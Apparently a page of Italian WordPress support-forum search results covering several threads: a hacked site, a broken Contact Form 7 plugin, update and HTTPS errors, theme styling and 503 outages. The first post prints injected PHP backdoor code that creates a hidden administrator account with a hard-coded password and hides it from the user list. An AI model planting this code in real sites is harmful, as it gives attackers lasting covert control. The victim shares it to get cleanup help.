Risultati della ricerca per 'Wordpress header code edit'

Stai vedendo 12 risultati - da 1 a 12 (di 12 totali)
    • Buongiorno, il mio sito presenta negli header di tutte le finestre il seguente testo php. Penso di essere stato hackerato, come posso ripristinare la situazione iniziale? ho aggiornato wordpress e sostituito tutte le cartelle di base con cartelle pulite.

      min_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }

    • enricotv

      (@enricotv)


      Ciao a tutti,

      dopo i due più recenti aggiornamenti di wordpress non mi funziona più un plugin che genera post di una determinata categoria derivante dalla compilazione di moduli di CF7.
      L’ho controllato e ricontrollato eppure niente da fare, con il debug di wordpress mi esce il seguente errore:

      Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function “add_author_support_to_posts” not found or invalid function name in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php:324

      Stack trace: 0 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() 1 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/plugin.php(517): WP_Hook->do_action() 2 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-settings.php(643): do_action() 3 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-config.php(82): require_once(‘…’) 4 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-load.php(50): require_once(‘…’) 5 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-blog-header.php(13): require_once(‘…’) 6 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/index.php(17): require(‘…’) 7 {main} thrown in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php on line 324

      Questo di seguito alla fine è il codice php del plugin, so che è lunghetto ma se qualcuno gentilmente mi aiuta a trovar l’errore gliene sarei molto grato.
      Grazie infinite

      Enrico

      <?php
      
      if (!defined('ABSPATH')) {
          exit;
      }
      
      /**
       * Our main plugin class
       */
      class CF7_To_WP
      {
      
          /**
           * The single instance of cf7_to_wp.
           * @var     object
           */
          private static $_instance = null;
      
          /**
           * Settings class object
           * @var     object
           */
          public $settings = null;
      
          /**
           * The version number.
           * @var     string
           */
          public $_version;
      
          /**
           * The token.
           * @var     string
           */
          public $_token;
      
          /**
           * The main plugin file.
           * @var     string
           */
          public $file;
      
          /**
           * The main plugin directory.
           * @var     string
           */
          public $dir;
      
          /**
           * The plugin assets directory.
           * @var     string
           */
          public $assets_dir;
      
          /**
           * The plugin assets URL.
           * @var     string
           */
          public $assets_url;
      
          /**
           * Our post type slug.
           *
           * @var string
           */
          private $post_type = 'cf7_form_messages';
      
          /**
           * Constructor function.
           * @access  public
           */
          public function __construct($file = '', $version = '0.1')
          {
              $this->_version = $version;
              $this->_token = 'cf7_to_wp';
      
              // Load plugin environment variables
              $this->file = $file;
              $this->dir = dirname($this->file);
              $this->assets_dir = trailingslashit($this->dir) . 'assets';
              $this->assets_url = esc_url(trailingslashit(plugins_url('/assets/', $this->file)));
      
              // Handle localization
              $this->load_plugin_textdomain();
              add_action('init', array($this, 'load_localization'), 0);
          }
      
          /**
           * Initialize all the things!
           */
          public function init()
          {
              // Register Messages post type.
              add_action('init', array($this, 'register_form_msg_post_type'));
              add_filter('add_menu_classes', array($this, 'menu_msg_form_bubble'));
              add_filter('post_row_actions', array($this, 'action_row_for_msg_posts'), 10, 2);
              add_action('admin_init', [$this, 'maybe_mark_form_message_as_read']);
              add_filter('wpcf7_verify_nonce', '__return_true');
      
              // Hook into CF7 actions.
              add_filter('wpcf7_editor_panels', array($this, 'add_cf7_panel'));
              add_action('wpcf7_after_save', array($this, 'save_cf7_data'), 50, 1);
              add_action('wpcf7_mail_sent', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('wpcf7_mail_failed', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('init', 'add_author_support_to_posts');
              add_filter('wpcf7_verify_nonce', '__return_true');
          }
      
          /**
           * Load plugin localisation
           */
          public function load_localization()
          {
              load_plugin_textdomain('cf7_to_wp', false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Load plugin textdomain
           */
          public function load_plugin_textdomain()
          {
              $domain = 'cf7_to_wp';
              $locale = apply_filters('plugin_locale', get_locale(), $domain);
              load_textdomain($domain, WP_LANG_DIR . '/' . $domain . '/' . $domain . '-' . $locale . '.mo');
              load_plugin_textdomain($domain, false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Register our post type to store messages.
           */
          public function register_form_msg_post_type()
          {
              register_post_type(
                  $this->post_type,
                  array(
                      'labels' => array(
                          'name' => __('Pratiche', 'cf7_to_wp'),
                          'singular_name' => __('Pratica', 'cf7_to_wp'),
                          'add_new' => __('Aggiungi nuova', 'cf7_to_wp'),
                          'add_new_item' => __('Aggiungi nuova pratica', 'cf7_to_wp'),
                          'edit' => __('Modifica', 'cf7_to_wp'),
                      ),
                      'description' => 'Pratiche e Servizi',
                      'has_archive' => true,
                      'publicly_queryable' => true,
                      'capability_type' => 'post',
                      'menu_position' => 32,
                      'show_ui' => true,
                      'show_in_menu' => true,
                      'public' => true,
                      'query_var' => true,
                      'menu_icon' => 'dashicons-buddicons-pm',
                      'taxonomies' => array('category'),
                      'supports' => array(
                          'author',
                          'title',
      					'category',
                          'editor',
                          'excerpt',
                          'trackbacks',
                          'page-attributes',
                          'custom-fields',
                          'thumbnail',
                          'sticky',
                      ),
                  )
              );
          }
      
          /**
           * Add bubble to admin menu
           *
           * @param array $menu
           * @return array $menu
           */
          public function menu_msg_form_bubble($menu)
          {
              $form_messages_count = wp_count_posts($this->post_type);
              $pending_count = $form_messages_count->draft + $form_messages_count->pending;
      
              foreach ($menu as $menu_key => $menu_data) {
                  if ("edit.php?post_type={$this->post_type}" !== $menu_data[2]) {
                      continue;
                  }
      
                  $menu[$menu_key][0] .= " <span class='update-plugins count-$pending_count'><span class='plugin-count'>" . number_format_i18n($pending_count) . '</span></span>';
              }
      
              return $menu;
          }
      
          /**
           * Add "Mark as read" action for our post type
           *
           * @param array $actions
           * @param WP_Post $post
           * @return array $actions
           */
          public function action_row_for_msg_posts($actions, $post)
          {
              if ($post->post_type === $this->post_type && $post->post_status !== 'publish') {
                  $actions['mark_as_read'] = sprintf(
                      '<a href="%s" class="aria-button-if-js" aria-label="%s">%s</a>',
                      wp_nonce_url("edit.php?post_type={$this->post_type}&action=mark_as_read&message_id={$post->ID}", "mark_message_as_read_{$post->ID}"),
                      esc_attr(__('Mark as read', 'cf7_to_wp')),
                      __('Mark as read', 'cf7_to_wp')
                  );
              }
      
              return $actions;
          }
      
          /**
           * Mark form message as read
           */
          public function maybe_mark_form_message_as_read()
          {
              if (isset($_GET['action']) && $_GET['action'] == 'mark_as_read' && isset($_GET['message_id'])) {
                  $message_id = (int) $_GET['message_id'];
      
                  if (isset($_GET['_wpnonce']) && wp_verify_nonce($_GET['_wpnonce'], "mark_message_as_read_{$message_id}")) {
                      $updated_post = wp_update_post(
                          array(
                              'ID' => $message_id,
                              'post_status' => 'publish',
                          )
                      );
      
                      wp_redirect(wp_get_referer());
                      exit();
                  }
              }
          }
      
          /**
           * Add new panel to CF7 form settings
           *
           * @param array $panels
           * @return array
           */
          public function add_cf7_panel($panels)
          {
              $panels['cf7-to-wp'] = array(
                  'title' => __('Salva messaggi', 'cf7_to_wp'),
                  'callback' => array($this, 'cf7_to_wp_form_metabox'),
              );
      
              return $panels;
          }
      
          /**
           * Output the content of our panel/metabox
           *
           * @param WPCF7_ContactForm $post CF7 object
           */
          public function cf7_to_wp_form_metabox($post)
          {
              $id = $post->id();
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );?>
      
      		<p style="margin-bottom:1em; font-size:1.25em;">
      			<?php _e('Abilitando la casella sottostante ogni modulo inviato compilato verrà pubblicato come nuovo articolo "Pratiche" privato.', 'cf7_to_wp');?>
      		</p>
      
      		<div class="mail-field" style="margin-bottom:1em;">
      			<label for="cf7towp-active">
      				<input type="checkbox" id="cf7towp-active" name="wpcf7-cf7towp-active" value="1" <?php checked($cf7towp['active'], 1);?> />
      				<strong><?php echo esc_html(__('Salvare i moduli compilati come articoli "Pratiche"?', 'cf7_to_wp')); ?></strong>
      			</label>
      
      		</div>
      
      		<div class="pseudo-hr"></div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-category"><?php echo esc_html(__('Categoria dell\'articolo', 'cf7_to_wp')); ?></label>
      				<select id="cf7towp-category" name="wpcf7-cf7towp-category">
      					<?php $this->get_category_options($id)?>
      				</select>
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-title"><?php echo esc_html(__('Titolo dell\'articolo', 'cf7_to_wp')); ?></label>
      				<input type="text" id="cf7towp-title" name="wpcf7-cf7towp-title" class="large-text" value="<?php echo esc_attr($cf7towp['title']); ?>" />
      			</p>
      		</div>
      
      		<div class="mail-field">
      			<p class="description">
      				<label for="cf7towp-content"><?php echo esc_html(__('Contenuto dell\'articolo', 'cf7_to_wp')); ?></label>
      				<textarea id="cf7towp-content" name="wpcf7-cf7towp-content" cols="100" rows="10" class="large-text"><?php echo esc_attr($cf7towp['content']); ?></textarea>
      			</p>
      		</div>
      
      		<hr>
      
      		<p class="description" style="margin-top:.5em;">
      			<span style="float:left; width:60%;">
      				<?php _e('Usa i classici CF7 [mail-tag] per i contenuti dinamici nel titolo e nel contenuto (li trovi sulla tab Mail).', 'cf7_to_wp');?>
      			</span>
      			<span style="text-align:right; float:right; width:40%;">
      				<?php
      $credits_link = '<a target="_blank" href="https://github.com/psaikali/contact-form-to-wp-posts">Fonte</a>';
              printf(__('A Contact Form 7 addon by %1$s', 'cf7_to_wp'), $credits_link);
              ?>
      			</span>
      		</p>
      
      		<hr>
      	<?php }
      
          /**
           * Get category field data
           */
      
          public function get_category_options($id)
          {
      
              $cf7towp = get_post_meta($id, '_cf7towp', true);
              $cf7towp = wp_parse_args(
                  $cf7towp,
                  array(
                      'active' => 0,
                      'title' => '',
                      'content' => '',
                      'category' => 0,
                  )
              );
      
              $args = array(
                  'taxonomy' => 'category',
                  'hide_empty' => false,
              );
      
              $terms = get_terms($args);
      
              foreach ($terms as $term) {
                  $options .= '<option value="' . $term->term_id . '" ' . selected($cf7towp['category'], $term->term_id, true) . '>' . $term->name . '</option>';
              }
      
              echo $options;
      
          }
      
          /**
           * Save metabox/tab data when CF7 form settings page is saved.
           *
           * @param WPCF7_ContactForm $contact_form
           */
          public function save_cf7_data($contact_form)
          {
              global $user_id;
              $user_id = get_current_user_id();
              $id = $contact_form->id();
              $cf7towp = array();
              $cf7towp['active'] = (!empty($_POST['wpcf7-cf7towp-active']));
      
              if (isset($_POST['wpcf7-cf7towp-title'])) {
                  $cf7towp['title'] = sanitize_text_field($_POST['wpcf7-cf7towp-title']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-content'])) {
                  $cf7towp['content'] = wp_kses_post($_POST['wpcf7-cf7towp-content']);
              }
      
              if (isset($_POST['wpcf7-cf7towp-category'])) {
                  $cf7towp['category'] = wp_kses_post($_POST['wpcf7-cf7towp-category']);
              }
      
              update_post_meta($id, '_cf7towp', $cf7towp);
          }
      
          /**
           * Create a Messages post when form is submitted
           *
           * @param WPCF7_ContactForm $contact_form
           */
      
          public function get_current_user_id()
          {
              if (class_exists('Jwt_Auth_Public')) {
                  $jwt = new \Jwt_Auth_Public('jwt-auth', '1.1.0');
                  $token = $jwt->validate_token(false);
                  if (\is_wp_error($token)) {
                      return false;
                  }
      
                  return $token->data->user->id;
              } else {
                  return false;
              }
          }
      
          public function create_post_on_form_submission($contact_form)
          {
      
              $form_post = $contact_form->id();
              $cf7towp_data = get_post_meta($form_post, '_cf7towp', true);
      
              if ($cf7towp_data['active'] === true) {
                  $submission = WPCF7_Submission::get_instance();
      
                  if ($submission) {
                      $meta = array();
                      $meta['ip'] = $submission->get_meta('remote_ip');
                      $meta['ua'] = $submission->get_meta('user_agent');
                      $meta['url'] = $submission->get_meta('url');
                      $meta['date'] = date_i18n(get_option('date_format'), $submission->get_meta('timestamp'));
                      $meta['time'] = date_i18n(get_option('time_format'), $submission->get_meta('timestamp'));
                  }
      
                  $post_title_template = $cf7towp_data['title'];
                  $post_content_template = $cf7towp_data['content'];
                  $post_category[] = $cf7towp_data['category'];
      
                  $post_title = wpcf7_mail_replace_tags(
                      $post_title_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $post_content = wpcf7_mail_replace_tags(
                      $post_content_template,
                      array(
                          'html' => true,
                          'exclude_blank' => true,
                          'has_archive' => true,
                      )
                  );
      
                  $new_form_msg = wp_insert_post(
      
                      array(
                          'post_type' => $this->post_type,
                          'post_title' => $post_title,
                          'post_content' => $post_content,
                          'post_author' => $current_user -> ID,
                          'post_status' => 'private',
                          'has_archive' => true,
                          'post_category' => $post_category,
                      )
                  );
      
                  if ($submission) {
                      update_post_meta($new_form_msg, 'cf7towp_meta', $meta, );
                  }
              }
          }
      
          /**
           * Main cf7_to_wp singleton instance
           *
           * Ensures only one instance of cf7_to_wp is loaded or can be loaded.
           *
           * @static
           * @see cf7_to_wp()
           * @return Main cf7_to_wp instance
           */
          public static function instance($file = '', $version = '0.1')
          {
              if (is_null(self::$_instance)) {
                  self::$_instance = new self($file, $version);
              }
              return self::$_instance;
          }
      
          /**
           * Cloning is forbidden.
           *
           */
          public function __clone()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      
          /**
           * Unserializing instances of this class is forbidden.
           *
           */
          public function __wakeup()
          {
              _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
          }
      }
    Chi ha creato la discussione adb75

    (@adb75)

    Ho creato menù in WordPress e ho scelto di farlo vedere sull’header.

    Poi da dentro a Elementor sono andato in impostazioni sito – header e ho spuntato per mostrare logo e menù, il tema Hello Elementor mi dava la possibilità di farlo.

    Non so se c’entra, i breakpoint per mobile sono 767px e per tablet 1024px

    Ti copio queste informazioni, ci sono informazioni e registro con degli errori.

    == WordPress Environment ==
    Version: 6.3.1
    Site URL: https://psicologoautorevole.it
    Home URL: https://psicologoautorevole.it
    WP Multisite: No
    Max Upload Size: 256 MB
    Memory limit: 256M
    Max Memory limit: 768M
    Permalink Structure: /%postname%/
    Language: it-IT
    Timezone: 0
    Debug Mode: Inactive == Theme ==
    Name: Hello Elementor
    Version: 2.8.1
    Author: Elementor Team
    Child Theme: No == User ==
    Role: administrator
    WP Profile lang: it_IT
    User Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 == Active Plugins ==
    Elementor
    Version: 3.16.2
    Author: Elementor.com GTM4WP
    Version: 1.18.1
    Author: Thomas Geiger iubenda | All-in-one Compliance for GDPR / CCPA Cookie Consent + more
    Version: 3.7.4
    Author: iubenda Newsletter, SMTP, Email marketing and Subscribe forms by Brevo
    Version: 3.1.70
    Author: Brevo Query Monitor
    Version: 3.13.1
    Author: John Blackbourn SiteGround Central
    Version: 3.0.1
    Author: SiteGround SiteGround Optimizer
    Version: 7.4.1
    Author: SiteGround SiteGround Security
    Version: 1.4.5
    Author: SiteGround Social Chat
    Version: 7.1.5
    Author: QuadLayers Stop Spammers
    Version: 2023.4.1
    Author: Trumani Xpro Elementor Addons
    Version: 1.3.8
    Author: Xpro Yoast SEO
    Version: 21.1
    Author: Team Yoast == Esperimenti Elementor ==
    Uscita DOM ottimizzata: Inattivo
    Caricamento delle risorse migliorato: Inattivo
    Caricamento CSS migliorato: Inattivo
    Icone dei font in linea: Attiva
    Punti di interruzione aggiuntivi: Inattivo
    admin_menu_rearrangement: Inattivo per impostazione predefinita
    Contenitore Flexbox: Attiva
    Aggiorna la libreria Swiper: Attiva
    Contenitore Griglia: Inattivo per impostazione predefinita
    Header e Footer del tema Hello: Attiva
    Barra unificata degli strumenti dell'editor: Inattivo per impostazione predefinita
    Landing Page: Attiva
    Elementi annidati: Attiva
    Lazy Load immagini di sfondo: Attiva
    Guida di stile globale: Inattivo per impostazione predefinita
    == Registro ==
    JS: showing 11 of 11JS: 2023-07-27 23:20:20 [error X 14][https://psicologoautorevole.it/wp-includes/js/jquery/jquery.min.js?ver=3.6.4:2:31823] Cannot read properties of undefined (reading 'value')
    JS: 2023-08-21 15:31:07 [error X 155][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/lib/pickr/pickr.min.js?ver=1.5.0:2:14799] Cannot read properties of null (reading 'clone')
    JS: 2023-08-21 15:31:09 [error X 5][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/lib/pickr/pickr.min.js?ver=1.5.0:2:19552] Cannot read properties of null (reading 'changestop')
    JS: 2023-08-23 12:29:54 [error X 9][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:917217] elementorFrontend is not defined
    JS: 2023-08-30 08:44:09 [error X 6][https://psicologoautorevole.it/wp-includes/js/jquery/jquery.min.js?ver=3.7.0:2:28722] elementor_new_template_form_controls is not defined
    JS: 2023-08-31 13:32:10 [error X 1][https://psicologoautorevole.it/wp-content/plugins/xpro-elementor-addons/assets/js/xpro-widgets.js?ver=1.3.8:1:21513] Cannot read properties of undefined (reading 'size')
    JS: 2023-09-01 12:20:34 [error X 19][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.15.3:2:12920] Cannot read properties of undefined (reading 'attributes')
    JS: 2023-09-01 12:22:30 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:642692] Cannot read properties of undefined (reading 'isDesignable')
    JS: 2023-09-01 15:23:24 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:670813] elementorFrontend.elements.window.jQuery is not a function
    JS: 2023-09-10 23:47:55 [error X 3][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/editor.min.js?ver=3.15.3:3:838767] Cannot convert undefined or null to object
    JS: 2023-09-12 08:17:47 [error X 1][https://psicologoautorevole.it/wp-content/plugins/elementor/assets/js/responsive-bar.min.js?ver=3.15.3:2:5951] Cannot read properties of null (reading 'config') == Elementor - Compatibility Tag ==

    Xpro Elementor Addons: Compatibilità non specificata
    • Salve,
      ho un problema di aggiornamento che non riesco a risolvere.
      Sto cercando di aggiornare una inztallazione multisito portando la versione 5.8.6 a 6.1.1 ….. Spero che possiate mettermi sulla buona strada
      ——————————-
      Premetto che nel server ho altre installazioni e che ho appena portato a buon fine un’altro aggiornamento di un wirdpress multisito dalla 5.8 alla 6,1,1

      La versione del php è la 8.0

      tutti i plugin del network sono aggiornati e (pensando a possibili conflitti) li ho disattivati
      —————————————
      Quando provo ad aggiornare, questo è il risultato:

      Download dell'aggiornamento da https://downloads.wordpress.org/release/it_IT/wordpress-6.1.1.zip…
      
      L'autenticità di wordpress-6.1.1.zip non può essere verificata dato che non è stata trovata alcuna firma.
      
      Estrazione dell’aggiornamento in corso…
      
      Verifica dei file estratti in corso…
      
      Preparazione all’installazione dell'ultima versione in corso…
      
      The update cannot be installed because your site is unable to copy some files. This is usually due to inconsistent file permissions.: wp-admin/options-reading.php, wp-admin/edit-tags.php, wp-admin/link-manager.php, wp-admin/options-writing.php, wp-admin/widgets-form-blocks.php, wp-admin/my-sites.php, wp-admin/async-upload.php, wp-admin/link.php, wp-admin/privacy.php, wp-admin/options-general.php, wp-admin/comment.php, wp-admin/theme-editor.php, wp-admin/admin-ajax.php, wp-admin/update.php, wp-admin/install.php, wp-admin/erase-personal-data.php, wp-admin/plugin-editor.php, wp-admin/nav-menus.php, wp-admin/customize.php, wp-admin/update-core.php, wp-admin/options-permalink.php, wp-admin/site-health-info.php, wp-admin/freedoms.php, wp-admin/user-new.php, wp-admin/menu-header.php, wp-admin/index.php, wp-admin/link-add.php, wp-admin/plugins.php, wp-admin/post.php, wp-admin/themes.php, wp-admin/edit-comments.php, wp-admin/term.php, wp-admin/media.php, wp-admin/revision.php, wp-admin/admin.php, wp-admin/upload.php, wp-admin/edit-form-advanced.php, wp-admin/options.php, wp-admin/privacy-policy-guide.php, wp-admin/tools.php, wp-admin/import.php, wp-admin/widgets.php, wp-admin/options-media.php, wp-admin/edit-link-form.php, wp-admin/about.php, wp-admin/admin-post.php, wp-admin/theme-install.php, wp-admin/options-discussion.php, wp-admin/install-helper.php, wp-admin/site-health.php, wp-admin/edit-form-comment.php, wp-admin/authorize-application.php, wp-admin/export.php, wp-admin/load-scripts.php, wp-admin/load-styles.php, wp-admin/export-personal-data.php, wp-admin/admin-header.php, wp-admin/options-privacy.php
      
      Installazione fallita.

      —————–
      Ho controllato i permessi ma mi sembrano tutti a posto (del resto gli aggiornamenti hanno sempre funzionato da dieci anni)

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    • beginnerweb

      (@simonemassitti)


      Salve
      mi chiamo Simone e sviluppo piccoli siti web con WordPress.

      Appena uscita la versione di WordPress 5.9 ho pensato subito di provarne le nuove funzionalità sopratutto usando i nuovi temi a blocchi, naturalmente la prima scelta è stata il Twenty Twenty-Two.

      La prima cosa che ho provato a fare è usare il nuovo editor di tema (sotto la voce di menu Aspetto per intenderci), con mia grande sorpresa mi mostra solo una pagina bianca.
      Ho usato la console del browser per cercare di capire quale era il problema, l’errore era il seguente
      site-editor.php:1 Mixed Content: The page at 'https://www.webdraft.info/gub59/wp-admin/site-editor.php' was loaded over HTTPS, but requested an insecure resource 'http://www.webdraft.info/gub59/?_wp-find-template=true'. This request has been blocked; the content must be served over HTTPS.
      da quello che ne capisco ho interpretato l’errore in questo modo: il browser per sicurezza non visualizza la pagina perché nella stessa si fa riferimento a contenuti che non passano per https.

      Come possono esserci contenuti misti se WordPress è stato appena installato su un nuovo database ed i contenuti sono quelli di default di WordPress?

      Per completezza è bene chiarire che il resto di WordPress funziona normalmente compreso l’editor a blocchi che si usa per editare post e pagine, il sito viene pubblicato correttamente come si può vedere nel link.

      Prima di porre questa domanda al forum naturalmente ho provato a cercare se esistessero altri casi simili al mio, ad ora non ho trovato niente di simile e di conseguenza mi sono rivolto all’assistenza del mio hosting (Aruba), al momento l’unica cosa che mi hanno consigliato di fare è quella di installare il plugin “Really Simple SSL” e che naturalmente non ha risolto il problema.

      L’unica soluzione funzionante che sono riuscito a trovare tra le diverse prove che ho fatto è quella di intervenire sul file .htaccess inserendo questo comando
      Header always set Content-Security-Policy "upgrade-insecure-requests;"
      ma francamente non so se sia una buona pratica farlo e se possa creare problemi di indicizzazione in un sito nel lungo periodo.

      Ma alla fine la mia vera domanda è:
      Perché il un file di WordPress site-editor.php che lavora su https:// dovrebbe chiamare una risorsa in modo specifico su http:// pur appartenendo sempre allo stesso dominio e che comunque ha un certificato SSL attivo con redirect automatico su HTTPS?

      Vi ringrazio in anticipo per la vostra disponibilità.

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    Forum: Aspetto = Temi
    Come il topic: Tema Shop Elite
    • Ciao a tutti, sto effettuando dei test in locale per poi trasferire tutto sullo spazio web. In poche parole ho installato il tema Shop Elite (che tra quelli gratuiti tra gli ecommerce era tra i più carini) come base di partenza.

      Utilizzo il plugin di woocommerce ma dall’ispezione della pagina non riesco a trovare in nessun modo il colore del background degli articoli.

      Sostanzialmente in home ho il logo nell’header, il menu sullo slide superiore e subito sotto ho l’articolo “Hello World” che carica sopra un bruttissimo sfondo di colore nero. Io lì vorrei editare intanto il colore (se possibile ci piazzo delle immagini in slide) ma non trovo in nessun punto del css quella porzione di sito. Sono andato a vedere anche nel template content-page, content, content-none……style.css……. nulla! Mi aiutate per favore?

      subito dopo il div del site-content abbiamo questo:

      ::before::
      <section class="slider-area ">
                              <div class="saga-slider slick-initialized slick-slider">
                                                                  <div aria-live="polite" class="slick-list draggable"><div class="slick-track" style="opacity: 1; width: 1147px;" role="listbox"><div class="item slick-slide slick-current slick-active" data-slick-index="0" aria-hidden="false" tabindex="-1" role="option" aria-describedby="slick-slide00" style="width: 1147px; position: relative; left: 0px; top: 0px; z-index: 999; opacity: 1;">
                                          <div class="img-fill data-bg" data-background="">
                                              <div class="slider-text overlay text-left">
                                                  <div class="tb">
                                                      <div class="tbc">
                                                          <div class="container">
                                                              <div class="row">
                                                                  <div class="col-sm-12 col-md-10">
                                                                      <h1>Hello world!</h1>
                                                                      <div class="hidden-xs">
                                                                          <p>Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
                                                                      </div>
                                                                      <a href="http://localhost/wordpress/2019/07/03/hello-world/" class="main-btn main-btn-primary" tabindex="0">Scopri di più...</a>                                                            </div>
                                                              </div>
                                                          </div>
                                                      </div>
                                                  </div>
                                              </div>
                                          </div>
                                      </div></div></div>
                                                          </div>
                          </section>
    • Ho un problema da un po di tempo
      ho un sito che ultimamente ogni tanto cade ritornando errori di 503 Bad Gateway e Server Temporary Unvailable
      tempo prima avevo riscontrato un errore php
      PHP Fatal error: Allowed memory size of ... bytes exhausted (tried to allocate ... bytes)
      e un’altro errore che si era raggiunto il limite di 30 come time
      che ho risolto aumentando dal pannello plesk il limite memory_limit a 528M e mettendo nel wp-config.php il define(‘WP_MEMORY_LIMIT’, ‘420M’);
      dal pannello plesk avevo anche impostato il upload_max_filesize a 16M e max_execution_time e max_input_time a 800
      e il sito sembrava essere tornato a posto e non comparivano più errori nel debug.log
      ultimamente ho poi notato che non riuscivo a caricare i file con dimensione superiore a 2M anche se nel plesk dava il limite a 16M
      ho provato a fare un phpinfo e mi dà memory_limit 128M upload_max_filesize 8M e max_execution_time e max_input_time impostati a 30 e 60, strano
      ho tolto tutti i plugin che potevo e corretto gli errori che mi comparivano nel debug.log anche se c’erano solo notifiche e non errori gravi

      gli errori che vedo nel registro del plesk sono di questo tipo:

      
      Error			17694#0: *3237138 upstream prematurely closed connection while reading response header from upstream				Errore nginx
      Error		503	POST /wp-admin/?namespace=LPCurriculumRequest HTTP/1.0	/wp-admin/post.php?post=3304&action=edit&tab=content-drip&message=1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0	1.33 K	Accesso Apache
      Error		503	POST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.0	/wp-admin/plugins.php	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0	1.33 K	Accesso Apache
      Error		503	POST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.0	/wp-admin/post.php?post=3304&action=edit&tab=content-drip&message=1	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0	1.33 K	Accesso Apache
      Error		503	POST /wp-admin/admin-ajax.php?action=wp_1_wc_privacy_cleanup&nonce=386dfc3fb5 HTTP/1.0	/wp-admin/admin-ajax.php?action=wp_1_wc_privacy_cleanup&nonce=386dfc3fb5	WordPress/4.9.9; http://	1.33 K	Accesso Apache
      

      abbiamo chiesto spiegazioni al provider che ha detto che il problema non è loro ma del sito che va in errore
      ho già provato a fare tutte le verifiche del caso eliminato aggiornato e disattivato alcuni plugin, wordpress è alla 4.9.9 non posso aggiornarlo ulteriormente per perdere la compatilità con altri plugin, ma niente ogni tanto il sito cade

      il problema è che ora il sito è diciamo di un hosting di prova con password (plugin Hide My Site) prima di spostare il sito su un nuovo hosting e quindi pubblicarlo ufficialmente dovrei risolvere questo problema vorrei sapere se ci sono altre operazioni che potrei fare.

      I plugin attivi sono:
      Query Monitor
      Add Featured Image Column
      Ivory Search
      Admin Menu Editor
      Advanced Cron Manager
      Caldera Forms
      Admin Columns
